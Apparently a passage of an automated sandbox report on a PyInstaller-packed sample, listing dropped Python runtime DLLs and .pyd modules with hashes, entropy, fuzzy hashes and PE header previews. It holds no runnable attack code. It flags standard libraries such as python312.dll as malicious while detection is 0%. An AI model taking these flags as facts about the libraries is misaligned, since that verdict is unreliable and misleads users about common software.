SHA-256:	05FE080EAB7FC535C51E10C1BD76A2F3E6217F9C91A25034774588881C3F99DE
SHA-512:	9F42EDF04C7AF350A00FA4FDF92B8E2E6F47AB9D2D41491985B20CD0ADDE4F694253399F6A88F4BDD765C4F49792F25FB01E84EC03FD5D0BE8BB61773D77D74D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l..l..l......l...m..l...i..l...h..l...o..l..m.y.l...m...l...o..l...h.l...l..l......l...n..l.Rich.l.........PE..d......e.........." ...%..7..4......v.........................................O.......P...`.........................................P.H.0....kN.@.....N.\|.....K.d.....O../....N....P.C.8.............................C.@............`N..............................text.....7.......7................. ..`.rdata....... 7.......7.............@..@.data....n....K..<....J.............@....pdata..0.....K......4K.............@..@.idata...%...`N..&....N.............@..@.00cfg..u.....N.......N.............@..@.rsrc...\|.....N......0N.............@..@.reloc........N......8N.............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	787224
Entropy (8bit):	5.609561366841894
Encrypted:	false
SSDEEP:	12288:ytPc2nnGoNg4kSHoxX09yO5EavUFe9Xb12:y9jnnpTHoxXUsFe9XbM
MD5:	19A2ABA25456181D5FB572D88AC0E73E
SHA1:	656CA8CDFC9C3A6379536E2027E93408851483DB
SHA-256:	2E9FBCD8F7FDC13A5179533239811456554F2B3AA2FB10E1B17BE0DF81C79006
SHA-512:	DF17DC8A882363A6C5A1B78BA3CF448437D1118CCC4A6275CC7681551B13C1A4E0F94E30FFB94C3530B688B62BFF1C03E57C2C185A7DF2BF3E5737A06E114337
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>:V.PiV.PiV.Pi_..iX.PiC.QhT.Pi..QhT.PiC.UhZ.PiC.Th^.PiC.ShR.PillQhU.PiV.QiH.PillThf.PillPhW.Pill.iW.PillRhW.PiRichV.Pi................PE..d......e.........." ...%...........K........................................ ............`..........................................g...Q..............s.......@M......./......`.......8...........................`...@............p...............................text...D)......................... ..`.rdata..Hy...@...z..................@..@.data....N.......H..................@....pdata...V.......X..................@..@.idata...c...p...d...H..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..4...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\python312.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765554952149868
Encrypted:	false
SSDEEP:	49152:Jc7/HNCHh0IWiUDFsx3hghs7g6kIPuch+Xe16/02yWYqiVx7qb4f4wmC36nhIVcF:JcBZhxsje2kUvid5E+vbHDMiEr/l9o
MD5:	CAE8FA4E7CB32DA83ACF655C2C39D9E1
SHA1:	7A0055588A2D232BE8C56791642CB0F5ABBC71F8
SHA-256:	8AD53C67C2B4DB4387D5F72EE2A3CA80C40AF444B22BF41A6CFDA2225A27BB93
SHA-512:	DB2190DA2C35BCEED0EF91D7553FF0DEA442286490145C3D0E89DB59BA1299B0851E601CC324B5F7FD026414FC73755E8EFF2EF5FB5EEB1C54A9E13E7C66DD0C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d......f.........." ...(..(..6B...............................................j......dj...`.........................................pdN.d....1O.......i......._.`I....i../... i..[..0.2.T.....................H.(....2.@............ (..............................text.....(.......(................. ..`.rdata..f7'.. (..8'...(.............@..@.data....J...`O......HO.............@....pdata..`I...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc...[... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\select.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.553885009751671
Encrypted:	false
SSDEEP:	384:I8RVBC9t6Lhz64SHfZslDT90YBI1QGjHQIYiSy1pCQQRaAM+o/8E9VF0NytuSS:1GyqHfK1HBI1QGT5YiSyvXAMxkEm
MD5:	79CE1AE3A23DFF6ED5FC66E6416600CD
SHA1:	6204374D99144B0A26FD1D61940FF4F0D17C2212
SHA-256:	678E09AD44BE42FA9BC9C7A18C25DBE995A59B6C36A13EECC09C0F02A647B6F0
SHA-512:	A4E48696788798A7D061C0EF620D40187850741C2BEC357DB0E37A2DD94D3A50F9F55BA75DC4D95E50946CBAB78B84BA1FC42D51FD498640A231321566613DAA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d.....f.........." ...(.....2......................................................._....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42802\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.461877321211646
Encrypted:	false
SSDEEP:	12288:FrEHdcM6hb/CjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfcAa1:FrEXaCjfk7bPNfv42BN6yzUAa1
MD5:	B848E259FABAF32B4B3C980A0A12488D
SHA1:	DA2E864E18521C86C7D8968DB74BB2B28E4C23E2
SHA-256:	C65073B65F107E471C9BE3C699FB11F774E9A07581F41229582F7B2154B6FC3C
SHA-512:	4C6953504D1401FE0C74435BCEEBC5EC7BF8991FD42B659867A3529CEE5CC64DA54F1AB404E88160E747887A7409098F1A85A546BC40F12F0DDE0025408F9E27
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d....f.........." ...(.@..........0.......................................p......]M....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591457260071925
Encrypted:	false
SSDEEP:	1536:+yhz79151BVo1vXfzIFnaR4bO1AsCn8Bsjk+tI1CVQ7Sy4x+R:Nhzx15evXkuxAB8BMk+tI1CVQF
MD5:	DD26ED92888DE9C57660A7AD631BB916
SHA1:	77D479D44D9E04F0A1355569332233459B69A154
SHA-256:	324268786921EC940CBD4B5E2F71DAFD08E578A12E373A715658527E5B211697
SHA-512:	D693367565005C1B87823E781DC5925146512182C8D8A3A2201E712C88DF1C0E66E65ECAEC9AF22037F0A8F8B3FB3F511EA47CFD5774651D71673FAB612D2897
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d......f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.138116508461042
Encrypted:	false
SSDEEP:	3072:cXw32spTVYgFoj6N2xE9sb7VRf/EiZBq5syCtYPU9BI1LP885:cgGEOgFoj68ksrf/Ejsa5
MD5:	C8AFA1EBB28828E1115C110313D2A810
SHA1:	1D0D28799A5DBE313B6F4DDFDB7986D2902FA97A
SHA-256:	8978972CF341CCD0EDF8435D63909A739DF7EF29EC7DD57ED5CAB64B342891F0
SHA-512:	4D9F41BD23B62600D1EB097D1578BA656B5E13FD2F31EF74202AA511111969BB8CFC2A8E903DE73BD6E63FADAA59B078714885B8C5B8ECC5C4128FF9D06C1E56
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......f.d."..."..."...+...$....... .......&.......*...........7... ...i...#...i...$.......!..."......7...$...7...#...7...#...7...#...Rich"...........................PE..d....f.........." ...(............`_..............................................\|.....`.........................................p`.......`.........................../......t.......T...............................@............................................text............................... ..`.rdata..hl.......n..................@..@.data...,5.......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565090204799859
Encrypted:	false
SSDEEP:	6144:3uQjqbJrTwvqM+eYx+lDJOAkl9qWM53pLW1AcfRRR6tlISgOg:3sTwvWeS+xJw4ln7g
MD5:	CEA3B419C7CA87140A157629C6DBD299
SHA1:	7DBFF775235B1937B150AE70302B3208833DC9BE
SHA-256:	95B9850E6FB335B235589DD1348E007507C6B28E332C9ABB111F2A0035C358E5
SHA-512:	6E3A6781C0F05BB5182073CCA1E69B6DF55F05FF7CDCEA394BACF50F88605E2241B7387F1D8BA9F40A96832D04F55EDB80003F0CF1E537A26F99408EE9312F5B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d.....f.........." ...(.....<............................................................`..........................................c..P....c...................&......./......T.......T...........................p...@............................................text...9........................... ..`.rdata..(...........................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66328
Entropy (8bit):	6.227566291152438
Encrypted:	false
SSDEEP:	1536:/9gLpgE4Z27ARZWZnEmoAlI1OIH7SyT0xq:26RZeEmoAlI1OIHth
MD5:	D19CB5CA144AE1FD29B6395B0225CF40
SHA1:	5B9EC6E656261CE179DFCFD5C6A3CFE07C2DFEB4
SHA-256:	F95EC2562A3C70FB1A6E44D72F4223CE3C7A0F0038159D09DCE629F59591D5AA
SHA-512:	9AC3A8A4DBDB09BE3760E7CCB11269F82A47B24C03D10D289BCDDED9A43E57D3CD656F8D060D66B810382ECAC3A62F101F83EA626B58CD0B5A3CCA25B67B1519
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........N@.. ... ... ...... ..k!... ..k#... ..k$... ..k%... ..l!... ...!... ..h!... ...!.Y. ..l-... ..l ... ..l.... ..l"... .Rich.. .........................PE..d......f.........." ...(.V.......... @............................................../.....`.........................................p...P................................/......X...@}..T............................\|..@............p..(............................text....T.......V.................. ..`.rdata...O...p...P...Z..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	160024
Entropy (8bit):	6.85368707809341
Encrypted:	false
SSDEEP:	3072:lsvkxujgo7e2uONOG+hi+C8znfF9mNooXnmbutI1Z1mb:lnu0o7JUrNYOo2Kz
MD5:	8CFBAFE65D6E38DDE8E2E8006B66BB3E
SHA1:	CB63ADDD102E47C777D55753C00C29C547E2243C
SHA-256:	6D548DB0AB73291F82CF0F4CA9EC0C81460185319C8965E829FAEACAE19444FF
SHA-512:	FA021615D5C080AADCD5B84FD221900054EB763A7AF8638F70CF6CD49BD92773074F1AC6884F3CE1D8A15D59439F554381377FAEE4842ED5BEB13FF3E1B510F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.3H%.`H%.`H%.`A]7`L%.`...aJ%.`...aK%.`...a@%.`...aD%.`]..aK%.`.].aJ%.`H%.`-%.`]..ar%.`]..aI%.`].[`I%.`]..aI%.`RichH%.`........................PE..d......f.........." ...(.f..........`8....................................................`......................................... %..L...l%..x....p.......P.......B.../......4.......T...............................@............................................text...be.......f.................. ..`.rdata..............j..............@..@.data...p....@......................@....pdata.......P......."..............@..@.rsrc........p.......6..............@..@.reloc..4............@..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83736
Entropy (8bit):	6.31969940395018
Encrypted:	false
SSDEEP:	1536:COYhekrkJqlerLSyypHi9/s+S+pzjii/n1IsJqKNBI1Lw9PD7Sy9duxJ:jwkJqHyypHi9/sT+pzjiE1IwdNBI1LwU
MD5:	E43AED7D6A8BCD9DDFC59C2D1A2C4B02
SHA1:	36F367F68FB9868412246725B604B27B5019D747
SHA-256:	2C2A6A6BA360E38F0C2B5A53B4626F833A3111844D95615EBF35BE0E76B1EF7A
SHA-512:	D92E26EB88DB891DE389A464F850A8DA0A39AF8A4D86D9894768CB97182B8351817CE14FE1EB8301B18B80D1D5D8876A48BA66EB7B874C7C3D7B009FCDBC8C4E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...Nb}.Nb}.Nb}.6.}.Nb}g.c\|.Nb}g.a\|.Nb}g.f\|.Nb}g.g\|.Nb}..c\|.Nb}.Nc}.Nb}.6c\|.Nb}..o\|.Nb}..b\|.Nb}..}.Nb}..`\|.Nb}Rich.Nb}................PE..d......f.........." ...(.x..........0-.......................................`......@.....`.........................................@...P............@.......0.........../...P......P...T...............................@............................................text....v.......x.................. ..`.rdata...x.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178456
Entropy (8bit):	5.974570300962832
Encrypted:	false
SSDEEP:	3072:ZmkiCZfBmvD1ZLnM2Yfp6XSVJLX2GvMf1ba+VRJNI7IM/H9o/PCrXuI3JtI1C7lD:xiC5QD1dwp6XSxMfjTwJxd
MD5:	6A2B0F8F50B47D05F96DEFF7883C1270
SHA1:	2B1AEB6FE9A12E0D527B042512FC8890EEDB10D8
SHA-256:	68DAD60FF6FB36C88EF1C47D1855517BFE8DE0F5DDEA0F630B65B622A645D53A
SHA-512:	A080190D4E7E1ABB186776AE6E83DAB4B21A77093A88FCA59CE1F63C683F549A28D094818A0EE44186DDEA2095111F1879008C0D631FC4A8D69DD596EF76CA37
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........^..`...`...`......`./ia...`./ic...`./id...`./ie...`..na...`..ja...`...a.u.`...a...`..nm...`..n`...`..n....`..nb...`.Rich..`.........PE..d......f.........." ...(.............,....................................................`.............................................d...D...................P......../......x.......T...........................@...@............................................text............................... ..`.rdata...#.......$..................@..@.data...p...........................@....pdata..P............b..............@..@.rsrc................n..............@..@.reloc..x............x..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1332769
Entropy (8bit):	5.586560217717372
Encrypted:	false
SSDEEP:	12288:VHlJGUqQlLmgBvc+fYNXPh26UZWAzyX7j7YQqPQCxi2hdmSPpHg1d6R1RbtRwv6:VHlJGUDa+zy/7UlZhdmSPNaQHtRwv6
MD5:	48BA559BF70C3EF963F86633530667D6
SHA1:	E3319E3A70590767AD00290230D77158F8F8307E
SHA-256:	F8377AA03B7036E7735E2814452C1759AB7CEEC3F8F8A202B697B4132809CE5E
SHA-512:	567A7BEF4A7C7FF0890708C0E62D2AF748B645C8B9071953873B0DD5AA789C42796860896A6B5E539651DE9A2243338E2A5FB47743C30DFCDE59B1787C4C1871
Malicious:	false
Preview:	PK..........!./gJ.O...O......._collections_abc.pyc......................................Z.....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.............Z...e.d.........Z.d...Z...e.e.........Z.[.g.d...Z.d.Z...e...e.d.................Z...e...e...e.........................Z...e...e.i.j%..........................................Z...e...e.i.j)..........................................Z...e...e.i.j-..........................................Z...e...e.g.................Z...e...e...e.g.........................Z...e...e...e.d.........................Z...e...e...e.d.d.z...........................Z...e...e...e.........................Z...e...e.d.................Z ..e...e.d.................Z!..e...e...e"........................Z#..e.i.j%..................................Z$..e.i.j)..................................Z%..e.i.j-..................................Z&..e.e.jN..........................Z(..e...d...................Z)d...Z..e........Z..e.e........Z+ejY............................[d...Z-..e-........

C:\Users\user\AppData\Local\Temp\_MEI67402\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5191960
Entropy (8bit):	5.962142634441191
Encrypted:	false
SSDEEP:	98304:n3+pefu6fSar+SJ8aqfPomg1CPwDvt3uFlDCE:3G+u6fb+SJ8aqfwmg1CPwDvt3uFlDCE
MD5:	E547CF6D296A88F5B1C352C116DF7C0C
SHA1:	CAFA14E0367F7C13AD140FD556F10F320A039783
SHA-256:	05FE080EAB7FC535C51E10C1BD76A2F3E6217F9C91A25034774588881C3F99DE
SHA-512:	9F42EDF04C7AF350A00FA4FDF92B8E2E6F47AB9D2D41491985B20CD0ADDE4F694253399F6A88F4BDD765C4F49792F25FB01E84EC03FD5D0BE8BB61773D77D74D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l..l..l......l...m..l...i..l...h..l...o..l..m.y.l...m...l...o..l...h.l...l..l......l...n..l.Rich.l.........PE..d......e.........." ...%..7..4......v.........................................O.......P...`.........................................P.H.0....kN.@.....N.\|.....K.d.....O../....N....P.C.8.............................C.@............`N..............................text.....7.......7................. ..`.rdata....... 7.......7.............@..@.data....n....K..<....J.............@....pdata..0.....K......4K.............@..@.idata...%...`N..&....N.............@..@.00cfg..u.....N.......N.............@..@.rsrc...\|.....N......0N.............@..@.reloc........N......8N.............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	787224
Entropy (8bit):	5.609561366841894
Encrypted:	false
SSDEEP:	12288:ytPc2nnGoNg4kSHoxX09yO5EavUFe9Xb12:y9jnnpTHoxXUsFe9XbM
MD5:	19A2ABA25456181D5FB572D88AC0E73E
SHA1:	656CA8CDFC9C3A6379536E2027E93408851483DB
SHA-256:	2E9FBCD8F7FDC13A5179533239811456554F2B3AA2FB10E1B17BE0DF81C79006
SHA-512:	DF17DC8A882363A6C5A1B78BA3CF448437D1118CCC4A6275CC7681551B13C1A4E0F94E30FFB94C3530B688B62BFF1C03E57C2C185A7DF2BF3E5737A06E114337
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>:V.PiV.PiV.Pi_..iX.PiC.QhT.Pi..QhT.PiC.UhZ.PiC.Th^.PiC.ShR.PillQhU.PiV.QiH.PillThf.PillPhW.Pill.iW.PillRhW.PiRichV.Pi................PE..d......e.........." ...%...........K........................................ ............`..........................................g...Q..............s.......@M......./......`.......8...........................`...@............p...............................text...D)......................... ..`.rdata..Hy...@...z..................@..@.data....N.......H..................@....pdata...V.......X..................@..@.idata...c...p...d...H..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..4...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\python312.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765554952149868
Encrypted:	false
SSDEEP:	49152:Jc7/HNCHh0IWiUDFsx3hghs7g6kIPuch+Xe16/02yWYqiVx7qb4f4wmC36nhIVcF:JcBZhxsje2kUvid5E+vbHDMiEr/l9o
MD5:	CAE8FA4E7CB32DA83ACF655C2C39D9E1
SHA1:	7A0055588A2D232BE8C56791642CB0F5ABBC71F8
SHA-256:	8AD53C67C2B4DB4387D5F72EE2A3CA80C40AF444B22BF41A6CFDA2225A27BB93
SHA-512:	DB2190DA2C35BCEED0EF91D7553FF0DEA442286490145C3D0E89DB59BA1299B0851E601CC324B5F7FD026414FC73755E8EFF2EF5FB5EEB1C54A9E13E7C66DD0C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d......f.........." ...(..(..6B...............................................j......dj...`.........................................pdN.d....1O.......i......._.`I....i../... i..[..0.2.T.....................H.(....2.@............ (..............................text.....(.......(................. ..`.rdata..f7'.. (..8'...(.............@..@.data....J...`O......HO.............@....pdata..`I...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc...[... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\select.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.553885009751671
Encrypted:	false
SSDEEP:	384:I8RVBC9t6Lhz64SHfZslDT90YBI1QGjHQIYiSy1pCQQRaAM+o/8E9VF0NytuSS:1GyqHfK1HBI1QGT5YiSyvXAMxkEm
MD5:	79CE1AE3A23DFF6ED5FC66E6416600CD
SHA1:	6204374D99144B0A26FD1D61940FF4F0D17C2212
SHA-256:	678E09AD44BE42FA9BC9C7A18C25DBE995A59B6C36A13EECC09C0F02A647B6F0
SHA-512:	A4E48696788798A7D061C0EF620D40187850741C2BEC357DB0E37A2DD94D3A50F9F55BA75DC4D95E50946CBAB78B84BA1FC42D51FD498640A231321566613DAA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d.....f.........." ...(.....2......................................................._....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI67402\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.461877321211646
Encrypted:	false
SSDEEP:	12288:FrEHdcM6hb/CjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfcAa1:FrEXaCjfk7bPNfv42BN6yzUAa1
MD5:	B848E259FABAF32B4B3C980A0A12488D
